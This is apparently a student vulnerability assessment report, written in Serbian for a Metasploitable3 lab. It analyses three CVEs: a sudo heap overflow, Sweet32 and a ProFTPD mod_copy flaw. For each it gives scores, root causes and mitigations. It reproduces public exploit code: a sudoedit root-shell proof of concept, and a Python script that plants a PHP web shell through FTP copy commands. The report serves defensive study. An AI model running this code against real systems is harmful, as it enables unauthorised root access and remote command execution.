Vulnerability Assessment Report

Ime i prezime:Vlada Dević
Tim: Tim 10
Datum: 27.10.2024.
Scan Tool: Nessus (10.8.3)
Test okruženje: Metasploitable3

CVE-2021-3156

---

1. Enumeracija CVE-a

- **CVE ID:** CVE-2021-3156

- **Opis:** CVE-2021-3156 ili Baron Samedit je ranjivost prisutna na Linux i Unix operativnim sistemima unutar sudo servisa. Omogućava korisniku sa bilo kojim nivoom pristupa da dobije root pristup. Ranjivost je prisutna na sudo verzijama 1.8.2–1.8.31p2 i 1.9.0–1.9.5p1.

---

2. CVSS skor

- **CVSS skor (numerička vrednost):** 7.8
- **Vektor:** CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  AV(Attack Vector) : L(Local) – Napad se mora izvesti lokalno, odnosno napadač mora imati fizički pristup mašini koju napada.
  AC(Attack Complexity) : L(Low) – Za izvođenje napada nije potrebno da budu ispunjeni specifični uslovi ili da napadač poseduje posebne veštine.
  PR(Privileges Required) : L(Low) – Za izvođenje napada nije potrebno da napadač poseduje dodatne privilegije u sistemu.
  UI(User Interaction) : N(None) – Za izvođenje napada nije potrebno da postoji interakcija između napadača i korisnika. Napadač može uspešno da izvrši napad bez dozvole ili znanja žrtve.
  S(Scope) : U(Unchanged) – Iskorišćavanje ranjivosti ne utiče na druge komponente sistema.
  C(Confidentiality Impact) : H(High) - Iskorišćavanjem ranjivosti napadač dobija pristup osetljivim podacima.
  I(Integrity Impact) : H(High) – Iskorišćavanjem ranjivosti napadač stiče mogućnost da pravi izmene nad podacima.

A(Availability Impact) : H(High) – Iskorišćavanjem ranjivosti napadač može znatno da utiče na dostupnost sistema.

- **Opravdanje:** Iskorišćavanjem ove ranjivosti napadač dobija root pristup sistemu. Ovo znači da potencijalno kompomitovan integritet svih podataka unutar sistema. Napad je moguće izvesti relativno lako, ne utiče na druge komponente sistema i nije potrebna žrtva preko koje se napad izvodi. Svi ovi argumenti su dobar razlog za visoku CVSS ocenu. Razlog zašto ocena nije viša je to što izvođenje napada nije moguće preko mreže što znatno smanjuje potencijalni rizik.

---

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne): Da**
  Postoji javno dostupan github repozitorijum: https://github.com/blasty/CVE-2021-3156.
- **Opis eksploita:**
  Ovaj eksplot spada u LPE(local privilege escalation) klasu napada. Ranjivost se zasniva na dve bitne funkcije: set_cmnd i parse_args. Funkcija set_cmnd iterira kroz argumente komandne linije(karakter po karakter) i smešta ih u buffer kreiran na heap-u. Ukoliko funkcija naiđe na „\” karakter preskace ga i kopira sledeći karakter. Funkcija parse_args funkcioniše kao zaštita u slučaju da korisnik unese „\” karakter. Ona prolazi kroz argumente karakter po karakter i kopira ih u bafer. Ukoliko naiđe na karakter koji nije alfanumerički upisuje „\\” pre samog karaktera. Uvako definisan kod nema ranjivost, ali problem nastaje u uslovima koji moraju biti ispunjeni da bi se izvršile set_cmnd i parse_args funkcije. Sudo komanda ima različite modove u kojima radi. Da bi se funkcija set_cmnd izvršila potrebno je da budu postavljeni flagovi „MODE_SHELL“ ili „MODE_LOGIN_SHELL”. Da bi se funkcija parse_args izvršila potrebno je da budu postavljeni flagovi „MODE_RUN” i „MODE_SHELL”. Potrebno je naći komandu koja postavlja „MODE_SHELL” ali ne postavlja „MODE_RUN” flagove. Jedna takva komanda je „sudoedit -s ...“. Ukoliko pozovemo ovu komandu sa argumentom koji sadrži „\”, nakon ovog karaktera moguće uneti maliciozan kod koji će biti prekopiran na heap.

- **Kod eksploita (ukoliko postoji):**

```c
int main(int argc, char *argv[]) {
    printf("\n** CVE-2021-3156 PoC by blasty <peter@haxx.in>\n\n");

    if (argc != 2 && argc != 5) {
        usage(argv[0]);
        return -1;
    }

    target_t *target = NULL;
    if (argc == 2) {
        int target_idx = atoi(argv[1]);

        if (target_idx < 0 || target_idx >= (sizeof(targets) / sizeof(target_t))) {
            fprintf(stderr, "invalid target index\n");
            return -1;
        }

        target = &targets[ target_idx ];
    }  else {
        target = malloc(sizeof(target_t));
        target->target_name    = "Manual";
        target->sudoedit_path  = SUDOEDIT_PATH;
        target->smash_len_a    = atoi(argv[1]);
        target->smash_len_b    = atoi(argv[2]);
        target->null_stomp_len = atoi(argv[3]);
        target->lc_all_len     = atoi(argv[4]);
    }

    printf(
        "using target: %s ['%s'] (%d, %d, %d, %d)\n",
        target->target_name,
        target->sudoedit_path,
        target->smash_len_a,
        target->smash_len_b,
        target->null_stomp_len,
        target->lc_all_len
    );

    char *smash_a = calloc(target->smash_len_a + 2, 1);
    char *smash_b = calloc(target->smash_len_b + 2, 1);

    memset(smash_a, 'A', target->smash_len_a);
    memset(smash_b, 'B', target->smash_len_b);

    smash_a[target->smash_len_a] = '\\';
    smash_b[target->smash_len_b] = '\\';

    char *s_argv[]={
        "sudoedit", "-s", smash_a, "\\", smash_b, NULL
    };

    char *s_envp[MAX_ENVP];
    int envp_pos = 0;

    for(int i = 0; i < target->null_stomp_len; i++) {
        s_envp[envp_pos++] = "\\";
    }
    s_envp[envp_pos++] = "X/P0P_SH3LLZ_";

    char *lc_all = calloc(target->lc_all_len + 16, 1);
    strcpy(lc_all, "LC_ALL=C.UTF-8@");
    memset(lc_all+15, 'C', target->lc_all_len);

    s_envp[envp_pos++] = lc_all;
    s_envp[envp_pos++] = NULL;

    printf("** pray for your rootshell.. **\n");

    execve(target->sudoedit_path, s_argv, s_envp);
    return 0;
}
```

---

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

  Ranjivost je uvedena u sledećem commit-u:

  https://github.com/sudo-project/sudo/commit/8255ed69#diff-cd7720c14b9b802a5bca6455b6e9e9da27f3a73adcb4202b565b4148ccb19b50

- **Primer Koda (ako je primenljivo):**

```
871 +            if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
872 +                /*
873 +                 * When running a command via a shell, the sudo front-end
874 +                 * escapes potential meta chars.  We unescape non-spaces
875 +                 * for sudoers matching and logging purposes.
876 +                 */
877 +                for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
878 +                    while (*from) {
879 +                        if (from[0] == '\\' && !isspace((unsigned char)from[1]))
880 +                            from++;
881 +                        *to++ = *from++;
882 +                    }
883 +                    *to++ = ' ';
884 +                }
885 +                *--to = '\0';
886 +            } else {
887 +                for (to = user_args, av = NewArgv + 1; *av; av++) {
888 +                    n = strlcpy(to, *av, size - (to - user_args));
889 +                    if (n >= size - (to - user_args))
890 +                        errorx(1, _("internal error, set_cmnd() overflow"));
891 +                    to += n;
892 +                    *to++ = ' ';
893 +                }
894 +                *--to = '\0';
895             }
```

```
387 387             /* shell -c "command" */
388     -           char *src, *dst, *end;
    388 +           char *cmnd, *src, *dst;
389 389             size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +
390     -                   strlen(argv[argc - 1]) + 1;
    390 +               strlen(argv[argc - 1]) + 1;
    391 +
    392 +           cmnd = dst = emalloc2(cmnd_size, 2);
    393 +           for (av = argv; *av != NULL; av++) {
    394 +               for (src = *av; *src != '\0'; src++) {
    395 +                   /* quote potential meta characters */
    396 +                   if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-')
    397 +                       *dst++ = '\\';
    398 +                   *dst++ = *src;
    399 +               }
    400 +               *dst++ = ' ';
    401 +           }
    402 +           if (cmnd != dst)
    403 +               dst--;  /* replace last space with a NUL */
    404 +           *dst = '\0';
    405 +
391 406             ac = 3;
392 407             av = emalloc2(ac + 1, sizeof(char *));
393 408             av[1] = "-c";
394     -           av[2] = dst = emalloc(cmnd_size);
395     -           src = argv[0];
396     -           for (end = src + cmnd_size - 1; src < end; src++, dst++)
397     -               *dst = *src == '\0' ? ' ' : *src;
398     -           *dst = '\0';
    409 +           av[2] = cmnd;
```

---

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne): Da**
- **Mitigation Strategy:** Potrebno je ažurirati sudo verziju. Sudo verzije 1.8.2–1.8.31p2 i 1.9.0–1.9.5p1 sadrže ranjivost, tako da će bilo koja druga vezija ukloniti problem. Sudo verziju možemo ažurirati upotrebom sledeće komande:
  `sudo apt upgrade sudo`

  Ukoliko želimo de definišemo specifičnu verziju koristimo sledeću komandu:

  `sudo apt install sudo=<version_number>`

CVE-2016-2183

---

1. Enumeracija CVE-a

- **CVE ID:** CVE-2016-2183

- **Opis:** CVE-2016-2183 je ranjivost TLS/SSL protokola koja se javlja ukoliko se koriste nesigurni algoritmi za enkrpiciju. TLS/SSL protokol omogućava da komunikacija između klijenta i servera bude poverljiva. Ukoliko se prilikom handshake-a koristi 3DES ili Blowfish algoritam koji prilikom enkripcije koristi blokove dužine 64 bita, prisluškivanjem saobraćaja, potencijalni napadač može da dođe do izvornog oblika poruka koje se razmenjujue između klijenta i servera.

---

2. CVSS skor

- **CVSS skor (numerička vrednost):** 7.5
- **Vektor:** CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  AV(Attack Vector) : N(Network) – Napad se može izvesti preko interneta
  AC(Attack Complexity) : L(Low) – Za izvođenje napada nije potrebno da budu ispunjeni specifični uslovi
  PR(Privileges Required) : N(None) – Za izvođenje napada nije potrebno da napadač poseduje bilo kakve privilegije
  UI(User Interaction) : N(None) – Za izvođenje napada nije potrebno da postoji interakcija između napadača i korisnika. Napadač može uspešno da izvrši napad bez dozvole ili znanja žrtve.
  S(Scope) : U(Unchanged) – Iskorišćavanje ranjivosti ne utiče na druge komponente sistema.
  C(Confidentiality Impact) : H(High) - Iskorišćavanjem ranjivosti napadač dobija pristup osetljivim podacima.
  I(Integrity Impact) : N(None) – Iskorišćavanjem ranjivosti napadač ne stiče mogućnost da pravi izmene nad podacima.

A(Availability Impact) : N(None) – Iskorišćavanjem ranjivosti napadač ne može da utiče na dostupnost sistema.

- **Opravdanje:** Iskorišćavanjem ove ranjivosti napadač može da dobije pristup osetljivim informacijama. Napad je moguće izvesti preko interneta bez znanja žrtve, bez ikakvih privilegija i bez uticanja na druge servise. Olakšavajuća okolnost je što napadač ne može da vrši izmene nad podacima niti da utiče na dostupnost servisa, u suportnom CVSS ocena bi bila veća.

---

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne): Ne**
  Eksploit postoji samo kao PoC: https://sweet32.info/.
- **Opis eksploita:**
  Napad koji iskorišćava CVE-2016-2183 ranjivost se naziva sweet32. Napad spada u man-in-the-middle klasu napada. Cilj napada je dobiti pristup cookie-u sa tokenom za autentifikaciju. Napad je zasnovan na rođendanskom paradoksu. Ukoliko je za enkriptovanje koriste blokovo od 64 bita, to znači da postoji ukupno 2^{64} mogućih blokova. Napad koristi činjenicu da nakon generisanih 2^{32} bloka, šansa da dva bloka imaju istu vrednost postaje dosta velika. Potrebno je da napadač pokrene maliciozan Javascript kod iz pretraživača žrtve, koji će da šalje ogromnu količinu http zahteva na server. Takođe potrebno je da napadač ima pristup enkriptovanim porukama koje se razmenjuju između klijenta i servera. Napadač analizira poruke i traži dva bloka koji imaju istu enkriptovanu vrednost, ali su plaintext vrednosti drugačije. Kada se nađe ovak blok moguće je na osnovu poznatih plaintext vrednosti doći do nepoznatih. U praksi potrebno je oko 700GB podataka dok se ne dođe do kolizije blokova.

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

  Greška nastaje kao posledica korišćenja algoritama za enkriptovanje koji koriste veličine blokova od 64 bita. Greška ne postoji u standardnom smislu te reči. U jednom periodu postojao je koncenzus da su veličine blokova od 64 bit dovoljno bezbedne. Povećavanjem obima internet saobraćaja i njegove brzine ova veličina blokova je postala nebezbedna.

---

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne): Ne**
- **Mitigation Strategy:** Potrebno je podesiti konfiguraciju servera tako da ne koristi algoritme za enkriptovanje koji koriste veličine blokovoa od 64 bita. Preporuka je da se

koriste algoritmi koji koriste minimum 128bitne blokove, na primer AES. Ispod se nalazi primer linije koju je potrebno dodati u konfiguracioni fajl za Apache server:

```
SSLCipherSuite
HIGH:!3DES:!BF:!aNULL:!MD5:!RC4:!DES:!EXP:!PSK:!SRP:!CAMELLIA
```

CVE-2015-3306

---

1. Enumeracija CVE-a

- **CVE ID:** CVE-2015-3306

- **Opis:** CVE-2015-3306 je ranjivost mod_copy modula unutar ProFTPD servera. ProFTPD je open source FTP (File Transfer Protocol) server koji omogućava korisnicima da transferuju fajlove između uređaja na mreži. Iskorišćavanjem ranjivosti, napadač dobija mogućnost čitanja i izmene privatnih fajlova na serveru.

---

2. CVSS skor

- **CVSS skor (numerička vrednost):** 9.8
- **Vektor:** CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
  AV(Attack Vector) : N(Network) – Napad se može izvesti preko mreže.
  AC(Attack Complexity) : L(Low) – Za izvođenje napada nije potrebno da budu ispunjeni specifični uslovi.
  PR(Privileges Required) : N(None) – Za izvođenje napada nije potrebno da napadač poseduje ikakve privilegije.
  UI(User Interaction) : N(None) – Za izvođenje napada nije potrebno da postoji interakcija između napadača i korisnika. Napadač može uspešno da izvrši napad bez dozvole ili znanja žrtve.
  S(Scope) : U(Unchanged) – Iskorišćavanje ranjivosti ne utiče na druge komponente sistema.
  C(Confidentiality Impact) : H(High) - Iskorišćavanjem ranjivosti napadač dobija pristup osetljivim podacima.
  I(Integrity Impact) : H(High) – Iskorišćavanjem ranjivosti napadač stiče mogućnost da pravi izmene nad podacima.
  A(Availability Impact) : N(None) – Iskorišćavanjem ranjivosti napadač ne može da utiče na dostupnost sistema.

- **Opravdanje:** Ova ranjivost ima skoro najvišu moguću ocenu. Napadač može preko mreže da izvrši napad, nisu mu potrebne nikakve privilegije niti interakcija sa korisnikom sistema. Izvršavanje napada ne utiče na druge servise. Uspešno izvršavanje napada omogućava napadaču da čita i menja osetljive podatke. Ranjivost bi imala veću ocenu da napadač može da utiče na dostupnost sistema.

---

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne): Da**
  Postoji javno dostupan github repozitorijum: https://github.com/t0kx/exploit-CVE-2015-3306.
- **Opis eksploita:**
  Eksploit za CVE-2015-3306 spada u LFI(Local File Inclusion) klasu napada. Eksploit funkcionise tako sto se na “/var/www/html/” na serveru kopira maliciozni .php fajl sledećeg sadržaja: "<?php echo passthru($_GET['cmd']); ?>". Komanda “passthru” izvršava komandu na operativnom sistemu servera. Komanda “$_GET['cmd']“ dobavlja vrednost cmd query parametra. Ovaj parametar se kasnije koristi da preko njega prosleđujemo komande za ivršavanjje. Komanda „echo“ ispisuje rezultat ivršene komande na web stranicu. Poslednji korak je poslati http zahtev kojim dobavljamo maliciozni .php fajl i prosleđujemo komandu za ivršavanje.

- **Kod eksploita (ukoliko postoji):**

```
import re
import socket
import requests
import argparse

class Exploit:
    def __init__(self, host, port, path):
        self.__sock = None
        self.__host = host
        self.__port = port
        self.__path = path

    def __connect(self):
        self.__sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.__sock.connect((self.__host, self.__port))
        self.__sock.recv(1024)

    def __exploit(self):
        payload = "<?php echo passthru($_GET['cmd']); ?>"
        self.__sock.send(b"site cpfr /proc/self/cmdline\n")
        self.__sock.recv(1024)
        self.__sock.send(("site cpto /tmp/." + payload + "\n").encode("utf-8"))
        self.__sock.recv(1024)
        self.__sock.send(("site cpfr /tmp/." + payload + "\n").encode("utf-8"))
        self.__sock.recv(1024)
        self.__sock.send(("site cpto "+ self.__path +"/backdoor.php\n").encode("utf-8"))

        if "Copy successful" in str(self.__sock.recv(1024)):
            print("[+] Target exploited, acessing shell at http://" + self.__host + "/backdoor.php")
            print("[+] Running whoami: " + self.__trigger())
            print("[+] Done")
        else:
            print("[!] Failed")
```

```
        def run(self):
            self.__connect()
            self.__exploit()

    def main(args):
        print("[+] CVE-2015-3306 exploit by t0kx")
        print("[+] Exploiting " + args.host + ":" + args.port)

        exploit = Exploit(args.host, int(args.port), args.path)
        exploit.run()

    if __name__ == "__main__":
        parser = argparse.ArgumentParser()
        parser.add_argument('--host', required=True)
        parser.add_argument('--port', required=True)
        parser.add_argument('--path', required=True)
        args = parser.parse_args()

        main(args)
```

---

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

  Ranjivost je uvedena u ProFTPD verziji 1.3.5

- **Primer Koda (ako je primenljivo):**

  Source kod za verziju 1.3.5 nije dostupan.

---

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne): Da**
- **Mitigation Strategy:** Potrebno je ažurirati ProFTPD verziju. ProFTPD verzija 1.3.5 sadrži ranjivost, tako da će bilo koja novija verzija ukloniti problem. ProFTPD verziju možemo ažurirati upotrebom sledeće komande:
  `sudo apt upgrade proftpd`